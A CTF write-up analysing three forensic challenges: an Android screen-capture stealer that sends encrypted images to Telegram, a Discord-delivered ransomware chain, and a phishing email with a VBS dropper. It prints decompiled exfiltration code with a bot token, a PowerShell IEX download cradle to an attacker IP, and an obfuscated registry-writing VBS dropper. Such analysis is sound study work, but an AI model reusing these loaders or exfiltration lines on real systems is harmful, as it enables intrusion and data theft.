# ITSEC CTF 2025
Here is my writeup for ITSEC CTF 2025 who held in 3 days with 3 waves, there is a focusing on Forensic challenge ~~and some blockchain challenge~~
[toc]
# HMICast 🩸
## Summary
> Several important data has been acquired from an employee's device as an evidence. Dig into the evidence to expose the stealthy actions that went unnoticed.
> **Notes**: This challenge contains real malicious process. Please execute on a safe and controlled environment. We are not responsible for any damages or losses resulting from the use or misuse of this challenge.
> **Author** : blackbear
> **File** : [dumpz.7z](https://drive.google.com/file/d/1w22r2EQCgCOQmM-GhsdvT5jc1tfHePZ4/view?usp=sharing)
> **Password ZIP** : vJcCvAN7TZIJn9dQ
We given dump data of android device, check with [ALEAPP](https://github.com/abrignoni/ALEAPP) we found its download some dangerous file, we can see it from this

and its a APK file called HMICast
> 6486d2ea1bceb9c14feaecb2fcf68aae app-release.apk
check using [JADX](https://github.com/skylot/jadx) we can see it has two main function

and we can conclude the app has Screen Capture function who will steal user data.
## Question
### Is the phone rooted?
> yes
it show by dump data folder
### What is the malicious package name?
> com.itsec.android.hmi
based on android manifest downloaded APK
### What is the download link of the malicious package?
> https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8
we get it using ALEAPP Chrome - Downloads report
### What is the Android API that attacker use to capture victim's screen?
> android.media.projection.MediaProjectionManager
based on one of main function in app `com.itsec.android.hmi.ScreenCaptureService`

### What is the secretkey for image encryption process?
> dPGgF7tQlBaGqqmj
search usual string for secret key `SecretKeySpec` in JADX

it navigate us to `I0.a`
```java
public abstract class a {
/* renamed from: a, reason: collision with root package name */
public static final String f393a = CryptoService$stringfromnative.f1878a.getAES();
public static final String b = "lBaGqqmj";
/* renamed from: c, reason: collision with root package name */
public static final String f394c = "Ud1PxFTYWLrqDduwBCfbRnbOGT2AasCFObFWPHInhsg9eACzYirAHSaqa9QCmcgrA7aQDVRuOxmYyy5U3h1jLQbCz97cNjEUCVl1Hk6G7L/uOGqCOsp1aabaQ7hBoIVL9E00OMRK7uVtQQgT4CzJZXI1fsLovFG1MBNdENGVE8M=";
/* renamed from: d, reason: collision with root package name */
public static final byte[] f395d;
static {
byte[] bytes = "Cj7pYMR6FqYFKRYi".getBytes(c1.a.f1544a);
f.e(bytes, "this as java.lang.String).getBytes(charset)");
f395d = bytes;
}
public static byte[] a(byte[] bArr) {
byte[] bArr2;
CryptoService$stringfromnative cryptoService$stringfromnative = CryptoService$stringfromnative.f1878a;
String rSAKey = cryptoService$stringfromnative.getRSAKey();
String str = f394c;
f.f(str, "base64Encrypted");
f.f(rSAKey, "privateKeyPEM");
String w02 = l.w0(l.w0(rSAKey, "-----BEGIN RSA PRIVATE KEY-----", ""), "-----END RSA PRIVATE KEY-----", "");
Pattern compile = Pattern.compile("\\s");
f.e(compile, "compile(pattern)");
String replaceAll = compile.matcher(w02).replaceAll("");
f.e(replaceAll, "nativePattern.matcher(in…).replaceAll(replacement)");
PrivateKey generatePrivate = KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(Base64.getDecoder().decode(replaceAll)));
f.e(generatePrivate, "generatePrivate(...)");
Cipher cipher = Cipher.getInstance(cryptoService$stringfromnative.getRSA());
cipher.init(2, generatePrivate);
byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(str));
f.c(doFinal);
Charset charset = c1.a.f1544a;
String str2 = new String(doFinal, charset) + b;
Cipher cipher2 = Cipher.getInstance(f393a);
if (str2 != null) {
bArr2 = str2.getBytes(charset);
f.e(bArr2, "this as java.lang.String).getBytes(charset)");
} else {
bArr2 = null;
}
cipher2.init(1, new SecretKeySpec(bArr2, "AES"), new IvParameterSpec(f395d));
byte[] doFinal2 = cipher2.doFinal(bArr);
f.e(doFinal2, "doFinal(...)");
return doFinal2;
}
}
```
we can see it didnt stored in clear way, so compared to we do static analysis (who is more pain ofc) we do dynamic analysis using Frida, im using [aesinfo.js](https://codeshare.frida.re/@dzonerzy/aesinfo/) with some modified
```javascript
function info(iv, alg, plain, encoded) {
send("Performing encryption/decryption");
if (iv) {
send("Initialization Vector: \\n" + hexdump(b2s(iv)));
} else {
send("Initialization Vector: " + iv);
}
send("Algorithm: " + alg);
// send("In: \\n" + hexdump(b2s(plain)));
// send("Out: \\n" + hexdump(b2s(encoded)));
complete_bytes = [];
index = 0;
}
```

we got secret and IV for AES in hex format
**secret** : dPGgF7tQlBaGqqmj
**IV** : Cj7pYMR6FqYFKRYi
### Where the encrypted image sent to?
>Telegram
from the previous function we can use `Find Usage` in JADX, and lead us to `I0.c.run()`
```java!
...
byte[] a2 = a.a(byteArray);
File file = new File(screenCaptureService.getExternalFilesDir(null), ".logs");
if (!file.exists()) {
file.mkdirs();
}
str = "log_" + System.currentTimeMillis() + ".enc";
FileOutputStream fileOutputStream = new FileOutputStream(new File(file, str));
try {
fileOutputStream.write(a2);
l.o(fileOutputStream, null);
} finally {
}
...
```
in this function we can see it directed to Telegram
```java
String str3 = "https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument";
if (c1.l.y0("https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument", "ws:", true)) {
str3 = "http:".concat("ps://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument");
} else if (c1.l.y0("https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument", "wss:", true)) {
str3 = "https:".concat("s://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument");
}
```
### What is the bot API token?
> 8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q
we can see it from previous function
### What is the bot username?
> guntershelpsBot
using telegram bot API /getMe
```bash
% curl https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/getMe | jq
{
"ok": true,
"result": {
"id": 8369776437,
"is_bot": true,
"first_name": "gunters-helper",
"username": "guntershelpsBot",
"can_join_groups": true,
"can_read_all_group_messages": false,
"supports_inline_queries": false,
"can_connect_to_business": false,
"has_main_web_app": false
}
}
```
### What is the group name and invite link?
> mycrib,https://t.me/+RVvaMCn_f7FmZmFl
we can use /getUpdates API for get the chat ID `-1002300479215`
```bash!
% curl https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/getUpdates | jq
{
"ok": true,
"result": [
{
"update_id": 565971319,
"message": {
"message_id": 18,
"from": {
"id": 7801293392,
"is_bot": false,
"first_name": "Günter"
},
"chat": {
"id": -1002300479215,
"title": "mycrib",
"type": "supergroup"
},
"date": 1753953584,
"text": "f"
}
}
]
}
```
and it showed in JADX too

we can access bot using this link https://telegram.me/guntershelpsBot and lead to this

and that invitation link for the group

### What is the login credential that was captured and sent at this window of time [Tuesday, July 29, 2025 5:26 AM - Tuesday, July 29, 2025 5:30 AM]?
> operator1337:HM1_standin9_Str0nk
now we back to encryption process
```java
public static byte[] a(byte[] bArr) {
byte[] bArr2;
CryptoService$stringfromnative cryptoService$stringfromnative = CryptoService$stringfromnative.f1878a;
String rSAKey = cryptoService$stringfromnative.getRSAKey();
String str = f394c;
f.f(str, "base64Encrypted");
f.f(rSAKey, "privateKeyPEM");
String w02 = l.w0(l.w0(rSAKey, "-----BEGIN RSA PRIVATE KEY-----", ""), "-----END RSA PRIVATE KEY-----", "");
Pattern compile = Pattern.compile("\\s");
f.e(compile, "compile(pattern)");
String replaceAll = compile.matcher(w02).replaceAll("");
f.e(replaceAll, "nativePattern.matcher(in…).replaceAll(replacement)");
PrivateKey generatePrivate = KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(Base64.getDecoder().decode(replaceAll)));
f.e(generatePrivate, "generatePrivate(...)");
Cipher cipher = Cipher.getInstance(cryptoService$stringfromnative.getRSA());
cipher.init(2, generatePrivate);
byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(str));
f.c(doFinal);
Charset charset = c1.a.f1544a;
String str2 = new String(doFinal, charset) + b;
Cipher cipher2 = Cipher.getInstance(f393a);
if (str2 != null) {
bArr2 = str2.getBytes(charset);
f.e(bArr2, "this as java.lang.String).getBytes(charset)");
} else {
bArr2 = null;
}
cipher2.init(1, new SecretKeySpec(bArr2, "AES"), new IvParameterSpec(f395d));
byte[] doFinal2 = cipher2.doFinal(bArr);
f.e(doFinal2, "doFinal(...)");
return doFinal2;
}
```
in the previous attempt we already got the AES key and IV,
**secret** : dPGgF7tQlBaGqqmj
**IV** : Cj7pYMR6FqYFKRYi
and if we see, the process is like
`plain -> RSA -> AES`
now we must recover RSA key, based on this
```java
CryptoService$stringfromnative cryptoService$stringfromnative = CryptoService$stringfromnative.f1878a;
String rSAKey = cryptoService$stringfromnative.getRSAKey();
```
```java
public final class CryptoService$stringfromnative {
/* renamed from: a, reason: collision with root package name */
public static final CryptoService$stringfromnative f1878a = new CryptoService$stringfromnative();
static {
System.loadLibrary("native-lib");
}
public final native String getAES();
public final native String getRSA();
public final native String getRSAKey();
}
```
RSA Key stored in native library, compared to us doing static analysis the native lib, we just can do dynamic analysis to hook return value of func getRSAKey().
the idea is
**wait lib called -> check its a function? -> this is a getRSAKey? -> get the return value**
and here is the script
```javascript
function waitForModule(moduleName) {
return new Promise((resolve) => {
const interval = setInterval(() => {
const module = Process.findModuleByName(moduleName);
if (module != null) {
clearInterval(interval);
resolve(module);
}
}, 1);
});
}
waitForModule('libnative-lib.so').then(module => {
var moduleName = "libnative-lib.so"
var moduleBase = Module.findBaseAddress(moduleName);
if (!moduleBase) {
console.log("[-] Could not find module: " + moduleName);
return;
}
console.log("[*] Found module " + moduleName + " at " + moduleBase);
Module.enumerateExports(moduleName).forEach(function (exp) {
if (exp.type === "function") {
try {
Interceptor.attach(exp.address, {
onLeave: function (retval) {
if (exp.name.includes("getRSAKey")) {
console.log("[*] " + exp.name + " returned: " + Java.vm.getEnv().getStringUtfChars(retval, null).readCString());
}
}
});
} catch (e) {
console.log("[-] Failed to hook " + exp.name + ": " + e.message);
}
}
});
});
```
and here is the result

RSA Key :
```
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCr3n0mG3OicxP+WJobKvd5RR2/gygPUdZbqYFPYBv2huhjPqte
5AsTRKOoOzYHJmEJTomx/QYicNgUMLY4xLcERyub/QA2bcPn5UqbwFxWMyo6xkaH
iz3qsHs9MGyBAIq82kTzLng81lnr0ZK/jmLhRupuvtEGV1n593RzbyKbcQIDAQAB
AoGADKdHvXt96vLgAPTS+7cRGzuMciIc2+vhhUQYghiIVoEeMNhXU5gkfJmsFuGt
G5+mu0Gt/42qWvTF486mS82nz6hUrXfJaj+iCs3lbWxiH3nZ3BN1w8SVQww6P0qe
x2/y6XBgcg1mRsxhff2DoZO9XQSrz5oedLa6dD+NquKu3gECQQD/eECddJNKUy1Q
8nfbzK1W4lm4ikKBEaTpvQYC6+f+dhn3pKp0Ftz0WoNR1PxbR1xNnQSs+ire7sd/
XNBoqpPhAkEArDnQZG7TT8fTQRXoeqFjW3DKOOEUQwxnp17ly5vCg1yqxoMUeaIl
ic0yU9SE5BvZwdBYMXVLW5mR+Kdl4o/5kQJAAUxOH76w5ObJSykAPOisVM2voQVq
0xcQ3HMubaNfOWbGOQDoMNDQ7JjtI+ROJ/ST3n0Wwf4/a4SRFO+Wy4FaYQJAfR9/
nAe8M8EMZMPC45zur1cxQ8OaUd/oSnuyXYtq9L7VP2Wp8Xhw5z2R67+BUKw/NwTj
ngMGXaUjnNAZQFGzUQJAK1LCkXR8GAZHChVJsXOVfsYUBy+XKkTux4wzP4W/fDf9
YsNCD0BsIG16uq9XKeiFVDRc8epkC2/i5FAMEoxPqQ==
-----END RSA PRIVATE KEY----
```
now download all file who in the range of question in group, and decrypt all for checking there is a credential or not, but the plot twist is, we didnt need to use the RSA key because we already have AES key ... (this why you must really really read the code ... )
```java
...
Cipher cipher = Cipher.getInstance(cryptoService$stringfromnative.getRSA());
cipher.init(2, generatePrivate);
byte[] doFinal = cipher.doFinal(Base64.getDecoder().decode(str));
f.c(doFinal);
Charset charset = c1.a.f1544a;
String str2 = new String(doFinal, charset) + b;
Cipher cipher2 = Cipher.getInstance(f393a);
...
```
RSA used for str2 who later used for secretKey Aes, and now because we already have AES key, just use it for decryption
```python!
from deom import * # is package for using all crypto things
import os
aeskey = b"dPGgF7tQlBaGqqmj"
aesiv = b"Cj7pYMR6FqYFKRYi"
def dekrip(enc, filename):
cip = AES.new(aeskey, AES.MODE_CBC, aesiv)
dec = cip.decrypt(enc)
with open(f"result_{filename}.png", "wb") as f:
f.write(dec)
filenames = os.listdir('file_enc/file_enc')
for filename in filenames:
print(filename)
raw_encrypted = open("file_enc/file_enc/" + filename, "rb").read()
dekrip(raw_encrypted, filename)
```
and one of the file has this

## Flag
just submit all answer on service
```python
from pwn import *
p = remote('54.254.152.24',4437,level='debug')
p.sendlineafter(b': ',b"yes")
p.sendlineafter(b': ',b"com.itsec.android.hmi")
p.sendlineafter(b': ',b"https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8")
p.sendlineafter(b'4. ',b"android.media.projection.MediaProjectionManager")
p.sendlineafter(b'5. ',b"dPGgF7tQlBaGqqmj")
p.sendlineafter(b'6. ',b"Telegram")
p.sendlineafter(b'7. ',b"8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q")
p.sendlineafter(b'8. ',b"guntershelpsBot")
p.sendlineafter(b'9. ', b"mycrib,https://t.me/+RVvaMCn_f7FmZmFl")
p.sendlineafter(b'10. ', b"operator1337:HM1_standin9_Str0nk")
p.interactive()
```

Flag : **ITSEC{gunt3rs_is_th3_culpr1t_88ebf35eac}**
# Hacked
## Summary
> Bruh, I just got hacked. Please help me analyze this artifact and answer all the questions given
> **Notes** : Always perform analysis of forensic artifacts in a sandboxed environment
> **Author** : daffainfo
> **File** : [artifact.zip](https://drive.google.com/file/d/1q0QD6QxWfa7yCFt2oCM9AutwlHlY6J7g/view?usp=drive_link)
> **Password ZIP** : 188696d2813d3f1e31d08f91a64b1f86
we given .vmdk file, using FTK Imager convert .vmdk file to evidence file
**File > Create Disk Image > Image File > (target)**
after the file became .E0* import .E01 to FTK Imager (we only need import .E01 and the other will automatically got imported)

in \Users\Peacock\Downloads we can see several evidences, like this device got infected by some ransomware who encrpyt files in Downloads, and for decrypt it we must send some crypto to attacker.
and we can see a malicious file called main.rar who had date modifier close to encrypted file, extract it with Winrar (because it has broken rar, and we need winrar who had auto repair) and there is main.exe

using strings we can confirm its build from python

## Question
### Username on the device infected with malware?
> Peacock
based on user listed in evidence
### Which folder is encrypted by the malware?
> C:\Users\Peacock\Downloads
check a folder who can indicate to be encrypted like have extension .enc
### The threat actor's crypto wallet?
> 0xe28789577b1F8cfD964b2fD860807758216CeAE1
based on README.txt
### What applications do threat actors use to interact with victims?
> Discord
we must check installed application in device, and we found discord, and its a best candidate for user interract with attacker

### Victim's Discord ID?
> 1391969554309058590
we can check cache (\Users\Peacock\AppData\Roaming\discord\Cache\Cache_Data\) for discover history chat, using [Chrome Cache View](https://www.nirsoft.net/utils/chrome_cache_view.html) we found 50.json who contain history chat

in this history we can find a profile data who has name same as user in device,

### Threat actor's Discord ID?
> 1391972617149481050
check another history, we found some a malicious chat who ask victim to install an app even disable microsoft defender


### When did the threat actor join the same group as the victim?
> 08/07/2025
we can see from this image the detail when victim sent an invitation discord server

### The link containing initial loader that was sent by the threat actor to the victim?
> https://drive.google.com/file/d/1ZK-MED8DZcgsITflYMvWwAzYIlOFS7zu/view?usp=sharing
the attacker offer a victim risk of rain 2 game for free even force victim for deactive windows defender who is so suspicious


### After the victim downloads and unzips the file, the malware file is moved to what folder?
> C:\Users\Peacock\Documents\main.exe
its a basic and usual folder for user store their file
### What is the URL accessed by the initial dropper to download the second-stage loader?
> http://143.198.88.30:1338/installer.exe
because we know its a .exe from python, first we decompile it to became .pyc using [pyinstxtractor](https://pyinstxtractor-web.netlify.app/)

after that, decompile .pyc to .py using [PyLingual](https://pylingual.io/view_chimera?identifier=53e935eaff0e904527dfe37cc29d3e02be1f5be098dbc8a9baf72deed1cf8405)

there is a obfuscation function who has logic like this
```python!
print(getattr(__import__(bytes.fromhex('7a6c6962').decode()), bytes.fromhex('6465636f6d7072657373').decode())(bytes.fromhex('789ced5d596e1b4912b ...
```
and the result is like this
```python!
____=lambda _:type(*_);_0_=str;_____=dict;_0=lambda _0:_0.__code__.co_argcount;__=None;__0=_0;___=____([_0_(),(),_____(_=_0(lambda _0:_0),___=_0(lambda:__0),__=_0(lambda _0,__0:_0))]);_=[];____=____([_0_(),(),_____(__________________=lambda:[],________=lambda:____._________________________(____._____________(____._(____.__________________()))[___.__:___.__*___.__]+ ...
```
so its basically a obfuscation again who usually used for bypass PyJail, and in this case we have two choices, do static or dynamic analysis. if we want do static, we find usually `exec` to change it `print` so we can get all code, but it will take much time. so we can do dynamic using Virustotal for get the behaviour of .exe and there is the result [Virustotal result](https://www.virustotal.com/gui/file/110051d778e842bac18ab298717655fe10e025fab9098e7c34b04d0abb454f7b/behavior)

and from this beviour we know .exe access an url and we can assume it is a next stage loader

### Where was the second-stage loader stored after being downloaded?
> C:\Windows\Temp\MkbrkEXh.exe
check again on behaviour result in Virustotal, we can see it make a file on Temp folder

check Temp on evidence file, and we found it
### What repository does the threat actor use to develop the second-stage loader?
> https://github.com/Ne0nd0g/go-shellcode
decompile the application, and we found many function, but we can focus on this two function in main.go

its mention shellcodeToUUID, and if we search it shellcode golang, we will found the answer
### What is the full PowerShell command executed by the second-stage loader?
> powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://143.198.88.30:1338/o.ps1')
do dynamic analysis again using Virustotal and here the result [Virustotal Result](https://www.virustotal.com/gui/file/e71f466fb0f8f7ede6068984714fb812f9358976cec60d8727f362742687c7cb/behavior) and we can see process created by .exe in powershell

### What URL does the final payload send the encrypted file to after encryption?
> https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402
check the powershell script, is obfuscated again, but the `IEX` command is clearly is here, so we can change it to `echo` and run it using [Try It Online](https://tio.run/#powershell)


and we can spot the URL
### What key was used by the final payload to encrypt the Downloads folder?
> IITTSSEECC_CTF2025Coyyyyy!!!!
based on code before and decode it as base64
### Decrypt the .txt file located in the Downloads folder and input its contents!
> EzMalware_1337!!
decrypt it using all information we have
```python!
import base64
key_bytes = base64.b64decode("SUlUVFNTRUVDQ19DVEYyMDI1Q295eXl5eSEhISE=")
with open("IMPORTANT NOTES.txt.enc", "rb") as f:
data = f.read()
enc = bytearray(len(data))
for i in range(len(data)):
enc[i] = data[i] ^ key_bytes[i % len(key_bytes)]
with open("IMPORTANT NOTES.txt", "wb") as f:
data = f.write(enc)
```
and here the result
>If you able to decrypt the malware, submit this string into the bot :)
> EzMalware_1337!!
## Flag
```python
from pwn import *
p = remote('54.254.152.24',34843,level='debug')
p.sendlineafter(b': ',b"Peacock")
p.sendlineafter(b': ',b"C:\Users\Peacock\Downloads")
p.sendlineafter(b': ',b"0xe28789577b1F8cfD964b2fD860807758216CeAE1")
p.sendlineafter(b': ',b"Discord")
p.sendlineafter(b': ',b"1391969554309058590")
p.sendlineafter(b': ',b"1391972617149481050")
p.sendlineafter(b': ',b"08/07/2025")
p.sendlineafter(b': ',b"https://drive.google.com/file/d/1ZK-MED8DZcgsITflYMvWwAzYIlOFS7zu/view?usp=sharing")
p.sendlineafter(b': ',b"C:\Users\Peacock\Documents\main.exe")
p.sendlineafter(b': ',b"http://143.198.88.30:1338/installer.exe")
p.sendlineafter(b': ',b"C:\Windows\Temp\MkbrkEXh.exe")
p.sendlineafter(b': ',b"https://github.com/Ne0nd0g/go-shellcode")
p.sendlineafter(b': ',b"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://143.198.88.30:1338/o.ps1')")
p.sendlineafter(b': ',b"https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402")
p.sendlineafter(b': ',b"IITTSSEECC_CTF2025Coyyyyy!!!!")
p.sendlineafter(b': ',b"EzMalware_1337!!")
p.interactive()
```
Flag : ITSEC{b403ab3f9050c1de4485cbbb747bfc14}
# APT Mailer
## Summary
> One quiet morning, a message slipped through unnoticed. No alerts. No noise. Just another routine communication. They blend in.
> **Author** : Blackbear
> **File** : evidence-log.pcapng
analyze .pcapng file, it contain a lot TLS traffic but it has one TCP stream who contain SMTP Protocol

from the email we know its a phising-like email who using urgency methods, in this email its demand user for updating using .vbs script they provide. Lets check the .vbs script by decode it as base64
```vb!
Private Function zYWTgOUvCUasUF(fyVzjyrSVfUN As Variant, wmcgYwnuVvaWgrd As Variant)
Dim guZtvRhfxgcxFR As String
guZtvRhfxgcxFR = ""
For vochkYPjMXMeW = LBound(fyVzjyrSVfUN) To UBound(fyVzjyrSVfUN)
guZtvRhfxgcxFR = guZtvRhfxgcxFR & Chr(wmcgYwnuVvaWgrd(vochkYPjMXMeW) Xor fyVzjyrSVfUN(vochkYPjMXMeW)) * (2 ^ (2 - 0))
Next
zYWTgOUvCUasUF = guZtvRhfxgcxFR
End Function
Function bETonJcHVNTUdH(text, shift)
Dim vochkYPjMXMeW, result, charCode
result =
For vochkYPjMXMeW = (1 XOR 0) To Len(text)
charCode = Asc(Mid(text, vochkYPjMXMeW, 1))
charCode = charCode + shift
result = result & Chr(charCode)
Next
bETonJcHVNTUdH = result
End Function
Function eVyipctlscBYw(text, shift)
Dim vochkYPjMXMeW, result, charCode
result =
For vochkYPjMXMeW = 1 To Len(text)
charCode = Asc(Mid(text, vochkYPjMXMeW, 1))
charCode = charCode - shift
result = result & Chr(charCode)
Next
eVyipctlscBYw = result
End Function
Function pPBAddHxuvSqSyj(regPath, regName, regValue, regType)
On Error Resume Next
Dim gmLGTlQYtwLoT
Set gmLGTlQYtwLoT = WScript.CreateObject(zYWTgOUvCUasUF(Array((141 - 37),(1443 - 547),((686 - 175) XOR (1091 - 396)),(233 + 211),720,(261 - 125),(172 + 232),(6 + 10),((180 - 53) + (1310 - 653)),100,((850 - 340) + (106 - 16)),968,796),Array(77,179,(345 - 168),(57 - 28),221,82,((23 - 9) XOR 31),42,(87 XOR 192),(45 + 68),((224 - 37) XOR (96 - 24)),(160 - 2),(153 XOR (30 + 20)))))
Dim chfqRkgAaNapL
chfqRkgAaNapL = regPath & regName
gmLGTlQYtwLoT.RegWrite chfqRkgAaNapL, regValue, regType
End Function
Dim KTvYLmGLGGtuA, dec_text
KTvYLmGLGGtuA = zYWTgOUvCUasUF(Array((228 + 112),(459 + 405),(570 XOR (256 - 78)),140,880,324,(197 + (568 - 205)),296,(231 + (329 - 36)),(638 XOR (39 + 231)),(547 + 261),(809 + 51),((960 - 21) XOR 83),(260 - 128),((1349 - 505) + (112 - 56))),Array((60 - 22),170,((72 - 10) + 154),(147 - 72),169,(26 XOR (72 - 11)),((210 - 60) XOR (165 - 52)),34,(201 XOR (28 + (14 - 5))),((35 - 14) + 158),(11 + 240),((39 + (194 - 82)) XOR (59 - 19)),133,73,(279 - 85))) & _
zYWTgOUvCUasUF(Array(176,180,(61 XOR (137 + (659 - 23))),(467 XOR 683),300,((168 - 51) XOR 9),((274 + 140) XOR (33 + 81)),(529 + 391),(((11 - 1) + 170) XOR 908),(380 - 148),((2 + (3 - 1)) XOR 692),48,(645 - 33),(635 - 179),(318 + 494)),Array((6 + 22),(167 - 43),((184 - 18) XOR 26),((108 - 54) + 87),104,47,42,(63 + 85),191,118,143,(100 - 40),(26 + 169),81,128)) & _
zYWTgOUvCUasUF(Array((62 XOR 94),384,((342 - 135) XOR (164 + (185 - 6))),((1340 - 562) XOR 234),(627 - 71),(118 + 874),((49 + 183) XOR 556),(320 - 88),(20 + (1029 - 117)),((60 + 52) XOR 992),(451 XOR 683),(929 - 45),(878 - 258),216,976),Array(116,((2 + (0 - 0)) XOR (2 + 3)),((1 - 0) + 0),144,(116 XOR 142),(395 - 176),129,(186 - 72),(99 + (62 - 9)),130,(((33 - 12) + 67) XOR 161),128,((129 + (88 - 27)) XOR (189 - 62)),103,134)) & _
zYWTgOUvCUasUF(Array(860,((789 - 272) XOR ((115 - 40) + (227 - 53))),((364 - 3) XOR 181),(1183 - 323),(71 XOR (461 - 210)),356,((164 + (74 - 4)) XOR 6),452,268,276,(355 XOR (22 + (719 - 190))),(406 - 122),((0 - 0) + 112),(537 - 81),(79 XOR 851)),Array(178,195,(5 XOR 55),((3 - 0) XOR (256 - 125)),118,((17 - 4) XOR 59),118,41,((8 + 5) XOR 22),(81 - 39),136,21,((7 + 29) XOR 105),70,(61 XOR 163))) & _
zYWTgOUvCUasUF(Array(564,(((149 - 23) + (433 - 194)) XOR 513),364,(34 + (995 - 9)),496,844,308,((242 + 280) XOR (5 + (84 - 3))),452,(430 + 78),(499 - 147),(23 + (556 - 135)),(307 XOR (182 - 71)),(65 XOR (376 + (267 - 94))),980),Array(249,((103 - 42) XOR 177),(25 XOR (70 - 20)),((59 - 26) + 166),(((0 - 0) + (14 - 6)) XOR 37),137,5,((94 - 27) XOR (200 + 27)),(14 - 3),(15 XOR ((31 - 6) + 19)),(101 + 8),(13 XOR 90),33,196,154)) & _
zYWTgOUvCUasUF(Array((97 + 639),460,444,((1 + 43) XOR 16),(61 XOR ((60 - 20) + 73)),(38 + 70),(93 XOR 349),((8 - 4) XOR (552 + 16)),428,(497 XOR 577),(498 - 106),(424 XOR (1597 - 705)),56,900,(325 + 95)),Array((122 + 103),(87 - 28),56,(42 XOR 84),(56 XOR 68),(94 XOR 40),40,(((31 - 5) + 2) XOR 253),(9 XOR (70 - 7)),(122 XOR ((189 - 47) + (59 - 26))),(65 - 2),(109 XOR ((129 - 49) + 64)),(29 XOR 70),179,(4 + (12 - 2)))) & _
zYWTgOUvCUasUF(Array((((12 - 2) + 42) XOR 944),(249 XOR (658 + 343)),616,920,(117 XOR 629),((318 - 129) + 443),704,(313 XOR (539 + 290)),(286 + 458),888,((0 + 0) XOR 24),((339 - 57) + 42),((125 - 33) + 256),(731 - 23),((1283 - 639) + 196)),Array(((5 - 2) + 181),171,163,(146 XOR (56 - 21)),(262 - 22),(232 - 37),(256 - 26),(95 XOR ((317 - 151) + 21)),((167 + 4) XOR 88),(120 + 27),(39 XOR (156 - 31)),(7 XOR (0 - 0)),(26 - 12),(298 - 74),(157 - 5))) & _
zYWTgOUvCUasUF(Array(980,(0 XOR (0 - 0)),908,(49 - 1)),Array(167,((14 + 65) XOR 27),((151 - 57) + 69),(55 + 21)))
dec_text = eVyipctlscBYw(KTvYLmGLGGtuA, 3)
pPBAddHxuvSqSyj zYWTgOUvCUasUF(Array((((2 - 0) + 9) XOR 7),20,444,(87 + 509),(719 XOR (741 - 326)),(119 + 73),(1 XOR 625),604,((588 - 205) + (572 - 231)),(146 XOR 414),468,(320 XOR 196),148,((456 - 118) XOR (59 - 21)),492),Array(((1 - 0) + 74),(61 + 17),(67 - 25),(160 XOR 108),139,124,(((59 - 13) + 137) XOR 100),(196 XOR (20 - 4)),(35 XOR 215),(14 + 1),(18 XOR (76 - 20)),(6 XOR (39 + 3)),(58 + (56 - 14)),30,51)) & _
zYWTgOUvCUasUF(Array((547 XOR 399),816,(((155 - 31) + 59) XOR 347),56,444,(259 XOR 7),456,880,(364 + 36),976,(7 + (372 - 175)),(248 + 76),((718 - 14) XOR 336),(846 - 302),(563 + 41)),Array(((150 - 37) + 49),(217 - 87),62,(156 - 74),60,(16 + 30),(40 - 20),((249 - 92) XOR 53),(35 - 16),(43 + 106),(77 - 12),52,((153 - 57) XOR 216),197,((292 - 48) + (17 - 7)))) & _
zYWTgOUvCUasUF(Array(((146 + 56) XOR 902),(466 - 154),(65 - 13),((41 - 6) XOR (1106 - 83)),((86 + 121) XOR (757 - 346)),248,416,((1609 - 777) XOR 8),(77 XOR 269),(70 XOR (1041 - 423)),(144 + 12),(126 XOR (379 + 115)),100,((66 - 15) XOR 95),220),Array(176,((1 + 15) XOR 44),(37 XOR ((117 - 47) + 1)),132,(74 - 16),(48 XOR (61 + 43)),(8 + (37 - 17)),142,7,(54 + 172),73,(((0 - 0) + 0) XOR ((0 - 0) + 0)),118,108,(43 + 25))) & _
zYWTgOUvCUasUF(Array(332,620,(113 - 45),(706 + 294),(520 + (85 - 25)),(128 XOR 808),56,208,(138 + 86),(83 + (836 - 255)),(476 + (6 - 2)),(21 + (479 - 212)),((31 + (210 - 96)) XOR (70 - 5)),(155 + 53),428),Array((8 + (12 - 5)),((91 + 4) XOR (183 - 48)),(95 + 5),136,(7 + 220),(195 - 52),(50 + 46),(121 - 57),((122 - 56) XOR ((63 - 19) + 0)),195,10,59,93,(4 + 87),5)) & _
zYWTgOUvCUasUF(Array(748,((172 + (148 - 9)) XOR 87),(299 XOR (444 + 167)),((14 + (1 - 0)) XOR 67),(813 - 57)),Array(231,(0 + (10 - 0)),(119 XOR 208),(82 + (58 - 15)),(192 - 9))), zYWTgOUvCUasUF(Array((415 + 73),(197 + 447),((71 - 20) XOR (319 - 80)),456,((316 - 9) XOR 827),(1060 - 76),104,(205 - 73)),Array((73 - 33),(29 XOR 201),((30 + 3) XOR 120),28,227,148,(15 XOR 121),68)), dec_text, zYWTgOUvCUasUF(Array((359 XOR ((305 - 75) + 757)),((1001 - 321) XOR ((284 - 112) + (298 - 42))),116,(124 + 96),896,(712 - 160)),Array((406 - 153),(43 XOR (31 + 144)),90,(14 + 90),(342 - 163),(90 + 118)))
```
## Exploit
### Deobfuscated VBS
